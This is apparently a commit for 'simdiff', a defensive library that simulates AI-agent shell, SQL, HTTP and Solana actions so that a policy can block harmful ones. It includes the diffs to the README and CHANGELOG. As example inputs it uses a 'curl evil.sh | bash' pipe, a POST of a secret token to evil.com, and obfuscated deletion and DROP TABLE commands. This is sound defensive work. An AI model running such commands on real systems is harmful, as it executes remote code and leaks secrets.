feat(cli,docs): make simdiff adoptable — http CLI, agent-guard example, README

The code was hardened across five passes; the remaining big gap was the last
mile: how someone actually wires this into an agent. Addressed without adding any
dependency:

- cli: add `http` (simdiff http <url> --method --body --allowed-hosts --sensitive)
  so 3 of 5 domains are tryable from the terminal.
- examples/guard_tool_call.py: a runnable, framework-agnostic guard loop —
  simulate -> decide over the effect -> ALLOW/NEEDS_APPROVAL/BLOCK, with shell +
  http tools and an unmodeled tool failing closed. This is the integration most
  users want (OpenAI/Anthropic function calls, LangChain/CrewAI, MCP).
- README: restructured around usage. The simulate->decide->execute loop and the
  CLI are now up front; positioning, security model, and benchmark follow. Every
  code snippet is verified to run.

113 tests pass; coverage stays 100%; benchmark unchanged (100%/0%).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

Author: MrPredic

CHANGELOG.md

@@ -18,6 +18,12 @@ Hardening release after a second, fresh-eyes critical review. No API changes.
   reported as a harmless read on `"(no table)"`.
 - **Fix (cli):** `--existing "a, b"` (whitespace after the comma) is now trimmed,
   so a real delete of `b` is no longer silently dropped.
+- **Adoptability:** the CLI now covers `http` (`simdiff http <url> --method …
+  --allowed-hosts … --body …`) alongside `shell` and `sql`. Added
+  [`examples/guard_tool_call.py`](examples/guard_tool_call.py), a runnable,
+  framework-agnostic agent-guard loop (simulate → decide over the effect →
+  allow/block/approve), and restructured the README around how you actually wire
+  simdiff into an agent.
 - **Tests:** added property-based / fuzz tests (Hypothesis) pinning the safety
   invariants across random inputs: the shell parser is total and never certifies a
   command carrying an unmodelled metachar; sql tolerates arbitrary statements;

README.md

@@ -1,14 +1,15 @@
 # simdiff
 
-**The effect layer for AI-agent firewalls.** Simulate an action, get back a
-canonical, structured **effect delta** — *what would actually change* — and let
-your policy engine decide on that instead of on the raw tool call.
+**Decide what your AI agent's tool calls would *do*, before they run.**
 
-> On a small **illustrative** corpus, deciding over the effect catches every
-> obfuscated attack that argument keyword-matching misses (the constructs change
-> the surface text but not the effect). It demonstrates the *principle*, not
-> production numbers — read [Security model & limitations](#security-model--limitations)
-> before trusting it. ([reproduce](#benchmark): `python -m bench.run`)
+simdiff simulates a proposed action (a shell command, SQL statement, HTTP
+request, or Solana transaction) and returns a **canonical effect delta** — a
+structured description of *what would actually change*. Your policy decides over
+that effect instead of over the raw, easily-obfuscated tool call.
+
+It's a small, **zero-dependency** library and the missing piece in front of an
+agent firewall: everyone else inspects the *request*; simdiff reports the
+*effect*.
 
 ```python
 from simdiff import simdiff
@@ -17,117 +18,82 @@ from simdiff.adapters.shell import ShellAdapter
 delta = simdiff("rm important.db", ShellAdapter(existing={"important.db"}))
 print(delta.to_dict())
 # {'data_access': [{'resource': 'important.db', 'mode': 'DELETE', ...}],
-#  'unknown': [], 'fully_classified': True, ...}   # classified != safe: this DELETES the file
-```
-
-## Where it sits
-
-```
-agent proposes action ─▶ [ simdiff: simulate ▶ canonical effect delta ] ─▶ your policy ─▶ ALLOW / BLOCK / APPROVE ─▶ real execution
+#  'unknown': [], 'fully_classified': True}   # classified != safe — this DELETES the file
 ```
 
-simdiff owns exactly one box: turning a proposed action into *what it would
-actually do*. The decision and the execution stay yours.
+`mv important.db /dev/null`, `DROP/**/TABLE`, `chmod u=rwx`, a base64-encoded
+exfil — all change the command's *text* but not its *effect*. A keyword scanner
+waves them through; an effect check does not.
 
-## Why it exists
+---
 
-The 2026 wave of pre-execution agent firewalls — [AEGIS](https://arxiv.org/abs/2603.12621),
-OAP / Open Agent Passport, Agent Action Guard,
-[*Before the Tool Call*](https://arxiv.org/abs/2603.20953) — all decide **before**
-a tool runs. But they decide over the **request**: the tool name and its
-arguments, which they scan. An argument can look benign while the real effect is
-destructive.
-
-simdiff is **not** another firewall. It is the missing piece they share: it
-**simulates** the action and returns its **canonical effect**, so a policy can
-decide over *the verified effect, not the request*. It composes with those tools
-rather than competing with them.
+## Use it: simulate → decide → execute
 
-## How it compares
-
-| Tool | Decides over | Form |
-|---|---|---|
-| agent-airlock, MS agent-governance-toolkit, Faramesh | the **call** (tool name + args, normalized/validated) | full firewall / control plane |
-| AEGIS, OAP, Agent Action Guard | the **call** (extract + scan args) before execution | full firewall |
-| **simdiff** | the **simulated effect** (what would actually change) | a **library / primitive** you feed to any of the above |
-
-The line: everyone else canonicalizes or scans the *request*. simdiff reports the
-*effect*. The adapters do this two different ways — be clear which you are using:
-
-- **Simulate (execute & observe):** `filesystem` (runs the action on a shadow
-  copy), `sql` (runs inside a rollback), `solana` (RPC `simulateTransaction`).
-  These see the *real* effect — but they **execute the action**. See the security
-  model below.
-- **Interpret the request (no execution), fail-closed:** `shell`, `http`. These
-  do *not* observe a real effect; they parse what the request would do and refuse
-  to certify anything they can't fully model. They are only trustworthy because
-  they fail closed, not because they simulate.
-
-## What simdiff is NOT
-
-- Not a policy engine — it returns the effect; **you** (or your firewall) decide.
-- Not a complete agent-security solution — it is one composable building block.
-- `fully_classified` is **not** a safety verdict (see below).
-
-## Design principles
-
-- **Fail-closed** — anything an adapter cannot account for lands in `unknown`,
-  which makes `delta.fully_classified` `False`. Treat that as block/escalate.
-- **`fully_classified` ≠ safe** — it only means the effect was *understood*. A
-  fully-classified delta can still be a destructive `DELETE` or an exfil. The
-  allow/block decision is the consumer's.
-- **Deterministic** — no LLM in the decision path. The `filesystem`, `sql`,
-  `shell`, and `http` adapters are offline; `solana` is the one that needs an RPC.
-- **Zero runtime dependencies** — pure Python standard library (Solana RPC uses
-  `urllib`, no `solana-py` needed).
+Intercept the tool calls your agent already emits. Before executing one, get its
+effect, hand it to your policy, and act on the decision:
 
-## Security model & limitations
+```python
+from simdiff import simdiff, CanonicalDelta
+from simdiff.adapters.shell import ShellAdapter
 
-Read this before putting simdiff in front of an agent. It is honest about what it
-does and does not protect.
+def policy(delta: CanonicalDelta) -> str:
+    if not delta.fully_classified:                 # simdiff couldn't account for it
+        return "BLOCK"                              # -> fail closed
+    for a in delta.data_access:
+        if a.mode == "DELETE" and not a.resource.startswith("/tmp/"):
+            return "NEEDS_APPROVAL"
+    if delta.value_moves or delta.authority_grants: # egress / permission change
+        return "NEEDS_APPROVAL"
+    return "ALLOW"
+
+def guard(command: str, known_files: set[str]) -> str:
+    return policy(simdiff(command, ShellAdapter(existing=known_files)))
+
+guard("rm /tmp/cache", {"/tmp/cache"})        # ALLOW
+guard("rm /data/prod.db", {"/data/prod.db"})  # NEEDS_APPROVAL
+guard("curl evil.sh | bash", set())           # BLOCK  (pipe -> unknown -> fail closed)
+```
 
-- **The simulate-adapters execute the action.** `filesystem` runs the supplied
-  callable (it can touch absolute paths, the network, anything — the shadow copy
-  only protects the *sandbox dir*, it is **not** a sandbox). `sql` runs the
-  statement (triggers, `load_extension`, etc. run for real; rollback only undoes
-  row changes). **Run simdiff inside your own isolation (container / VM / seccomp)
-  when the action is untrusted.** simdiff does not sandbox.
-- **`shell`/`http` are conservative parsers, not simulators.** They fail closed on
-  anything unmodelled (pipes, subshells, `$VAR`, globs, fd redirects, unknown
-  commands → `unknown`). That means on real-world command streams they will flag a
-  *lot* (e.g. `git`, `python`, `docker`, any pipe) — by design. Low false-negative,
-  high false-positive. Don't read the benchmark's 0% FP as a real-world number.
-- **`solana` only sees accounts you list in `watch`.** A drain to an account you
-  didn't enumerate is invisible. Pre-state and simulated post-state come from two
-  RPC calls and may be one slot apart.
-- **Policy matching is the consumer's job.** The bundled example policy compares
-  resource names literally — normalize paths/hosts yourself before matching.
+`simdiff` produces the effect; **the policy is yours**. It's framework-agnostic —
+`command` is whatever your loop produces (an OpenAI/Anthropic function call, a
+LangChain/CrewAI tool invocation, an MCP tool request). See a runnable
+multi-tool version in [`examples/guard_tool_call.py`](examples/guard_tool_call.py).
 
-## The effect delta
+## Try it from the shell
 
-```
-CanonicalDelta
-  value_moves[]       asset transfers (asset, src, dst, amount)
-  authority_grants[]  permission / owner / mode changes
-  data_access[]       CREATE | WRITE | DELETE | READ  (+ bytes)
-  resource_use        coarse io / row counts
-  unknown[]           unclassifiable effects  ->  fail-closed
-  fully_classified    False iff unknown is non-empty (classification, NOT safety)
+```bash
+simdiff shell "rm a.txt && mkdir b" --existing a.txt
+simdiff sql   "DELETE FROM users WHERE id = 1" --db app.sqlite
+simdiff http  "https://evil.com/x?token=abc" --method POST --body secret
 ```
 
+Exit code reflects **classification, not safety**: `0` when the effect was fully
+classified, `2` otherwise. `0` does **not** mean "allowed" — `rm prod.db` exits
+`0` because it was *understood*. Add `--json` to feed a policy engine.
+
 ## Adapters
 
-| Adapter | Action | Mechanism | Executes the action? |
+| Adapter | You pass | How it works | Executes the action? |
 |---|---|---|---|
-| `FilesystemAdapter(sandbox)` | a callable `action(root)` | runs it on a **shadow copy** of the dir, diffs before/after | **yes** — isolate untrusted actions yourself |
-| `SqlAdapter(connection)` | a SQL statement | runs inside `SAVEPOINT … ROLLBACK` | **yes** — row changes roll back, side effects don't |
 | `ShellAdapter(existing=…)` | a command line | **interprets** `rm`/`mv`/`cp`/`mkdir`/`touch`/`chmod`/redirects; fail-closed on anything else | no |
 | `HttpAdapter(allowed_hosts=…)` | an `HttpRequest` | classifies **egress** (bytes leaving for a non-allowed host) | no — never sends |
+| `SqlAdapter(connection)` | a SQL statement | runs inside `SAVEPOINT … ROLLBACK` | **yes** — rows roll back, side effects don't |
+| `FilesystemAdapter(sandbox)` | a callable `action(root)` | runs it on a **shadow copy**, diffs before/after | **yes** — isolate untrusted actions yourself |
 | `SolanaAdapter(rpc_url=…)` | a `SolanaTransaction` | RPC `simulateTransaction` + account diff → SOL/token deltas, delegate/owner changes | no — simulated on a node, never broadcast |
 
-Adding a domain = implement two methods (`simulate`, `extract_delta`).
+A new domain = two methods (`simulate`, `extract_delta`). The returned
+`CanonicalDelta`:
 
-### Solana / on-chain (the high-stakes domain)
+```
+value_moves[]       asset transfers (asset, src, dst, amount)
+authority_grants[]  permission / owner / mode changes
+data_access[]       CREATE | WRITE | DELETE | READ  (+ bytes)
+resource_use        coarse io / row counts
+unknown[]           unclassifiable effects  ->  fail-closed
+fully_classified    False iff unknown is non-empty   (classification, NOT safety)
+```
+
+### Solana — the high-stakes domain
 
 A transaction can read like "swap 5 USDC" while its real effect is "assign a
 permanent delegate that drains the token account". Instruction inspection misses
@@ -139,72 +105,97 @@ from simdiff.adapters.solana import SolanaAdapter, SolanaTransaction
 
 adapter = SolanaAdapter(rpc_url="https://api.mainnet-beta.solana.com")
 delta = simdiff(SolanaTransaction(tx_b64, watch=[my_token_account]), adapter)
-# value_moves: [SPL:… 1000000 my_acct -> (outflow)]
-# authority_grants: [delegate none -> <attacker> (drain risk)]
+# authority_grants: [delegate none -> <attacker>  (drain risk)]
 ```
 
-This is the only adapter that uses the network — there is no local way to know a
-transaction's on-chain effect. The RPC call is injectable for offline testing,
-and the default uses `urllib` only. See [`examples/solana_drain.py`](examples/solana_drain.py).
+The only adapter that uses the network — there's no local way to know a
+transaction's on-chain effect. The RPC is injectable for offline testing.
+See [`examples/solana_drain.py`](examples/solana_drain.py).
 
-## CLI
+---
+
+## Where it sits
 
-```bash
-simdiff shell "rm a.txt && mkdir b" --existing a.txt --json
-simdiff sql   "DELETE FROM users WHERE id = 1" --db app.sqlite
 ```
+agent proposes action ─▶ [ simdiff: simulate ▶ effect delta ] ─▶ your policy ─▶ ALLOW / BLOCK / APPROVE ─▶ execute
+```
+
+The 2026 pre-execution agent firewalls — [AEGIS](https://arxiv.org/abs/2603.12621),
+OAP / Open Agent Passport, Agent Action Guard,
+[*Before the Tool Call*](https://arxiv.org/abs/2603.20953) — all decide **before**
+a tool runs, but they decide over the **request** (tool name + arguments, which
+they scan). simdiff is **not** another firewall; it's the piece they're missing.
+
+| Tool | Decides over | Form |
+|---|---|---|
+| AEGIS, OAP, Agent Action Guard, agent-airlock, Faramesh | the **call** (args, normalized/scanned) | full firewall / control plane |
+| **simdiff** | the **simulated effect** (what would change) | a **library / primitive** you feed them |
+
+The adapters get to the effect two ways — know which you're using:
+
+- **Simulate (execute & observe):** `filesystem`, `sql`, `solana` see the *real*
+  effect — but they **execute the action** (see limitations).
+- **Interpret (no execution), fail-closed:** `shell`, `http` parse the request and
+  refuse to certify anything they can't fully model. Trustworthy because they fail
+  closed, not because they simulate.
+
+## Security model & limitations
 
-Exit code reflects **classification, not safety**: `0` when the delta is
-`fully_classified`, `2` otherwise. `0` does **not** mean "allowed" — `rm prod.db`
-exits `0` because it was understood. The allow/block decision belongs to your policy.
+Read this before putting simdiff in front of an agent.
+
+- **`fully_classified` is not a safety verdict.** It means the effect was
+  *understood* — a fully-classified delta can still be a destructive `DELETE` or
+  an exfil. The allow/block decision is yours.
+- **The simulate-adapters execute the action.** `filesystem` runs the supplied
+  callable (it can touch absolute paths, the network — the shadow copy only
+  protects the *sandbox dir*; it is **not** a process sandbox). `sql` runs the
+  statement (triggers / `load_extension` run for real; only row changes roll
+  back). **Run simdiff inside your own isolation (container / VM / seccomp) for
+  untrusted actions.**
+- **`shell`/`http` are conservative parsers.** They fail closed on anything
+  unmodelled (pipes, `$VAR`, globs, unknown commands → `unknown`). On real command
+  streams they flag a *lot* (`git`, `python`, any pipe) — low false-negative, high
+  false-positive, by design.
+- **`solana` only sees accounts you list in `watch`.** A drain to an account you
+  didn't enumerate is invisible; pre/post state come from two RPC calls, one slot
+  apart.
+- **Path/host matching is the consumer's job.** Normalize before comparing.
+
+Full design notes: [`SECURITY.md`](SECURITY.md).
 
 ## Benchmark
 
-Why "decide over the effect, not the request" is not just a slogan:
+Why "decide over the effect, not the request" isn't just a slogan:
 
 ```
 $ python -m bench.run
 corpus: 18 cases (11 dangerous, 7 safe)
 
-approach                  recall   false positives
---------------------------------------------------
+approach                       recall   false positives
 effect simulation (simdiff)      100%                0%
-keyword/arg scanning         27%                0%
+keyword/arg scanning              27%                0%
 ```
 
-The corpus pits the same dangerous effect against argument obfuscation:
-deletion expressed as `mv prod.db /dev/null`, `DROP/**/TABLE` split by a SQL
-comment, permission widening via symbolic `chmod u=rwx,go=rwx`, destruction
-through an uninterpreted tool (`find … -delete`, caught **fail-closed**), and a
-secret exfiltrated as a **base64** body or a query parameter — invisible to
-payload scanning, but the destination host gives it away. Each preserves the
-effect while changing the surface text, so keyword scanning waves it through and
-effect simulation does not. The baseline is a *reasonable*, case-insensitive
-denylist (it even greps for plaintext key markers) — not a strawman; its
-weakness is structural.
-
-These numbers are asserted in [`tests/test_benchmark.py`](tests/test_benchmark.py),
-so the claim cannot drift from the code. See [`bench/corpus.py`](bench/corpus.py)
-for every case.
-
-**Honest caveats:** this is a small, hand-built corpus that I wrote — it
-illustrates *that effect-deciding beats text-matching on obfuscation*, it is not a
-general benchmark against production firewalls (which do far more than keyword
-denylisting). The **0% false-positive figure is corpus-specific**: the safe cases
-use only commands the shell adapter models. On real command streams the adapter
-fail-closes on most input (`git`, `python`, pipes, …), so real-world false
-positives are *high*, not zero. The signal to take away is the *direction*, not
-the percentages.
+The corpus pits the same dangerous *effect* against argument obfuscation
+(`mv prod.db /dev/null`, `DROP/**/TABLE`, symbolic `chmod`, `find … -delete`
+caught fail-closed, base64/query-string exfil). The baseline is a real
+case-insensitive denylist, not a strawman — its weakness is structural. Numbers
+are asserted in [`tests/test_benchmark.py`](tests/test_benchmark.py) so they can't
+drift from the code.
+
+**Honest caveat:** small, hand-built corpus. It shows the *direction* (effect-
+deciding beats text-matching on obfuscation), not production numbers. The 0%
+false-positive figure is corpus-specific — on real command streams the shell
+adapter fail-closes on most input, so real-world FP is *high*, not zero.
 
 ## Install
 
 ```bash
-pip install -e .
-python -m pytest -q
+pip install -e .          # PyPI release pending
+python -m pytest -q       # 113 tests, 100% coverage
 ```
 
-See [`examples/firewall_integration.py`](examples/firewall_integration.py) for a
-policy deciding over the effect.
+Zero runtime dependencies — pure standard library (Solana RPC uses `urllib`).
 
 ## License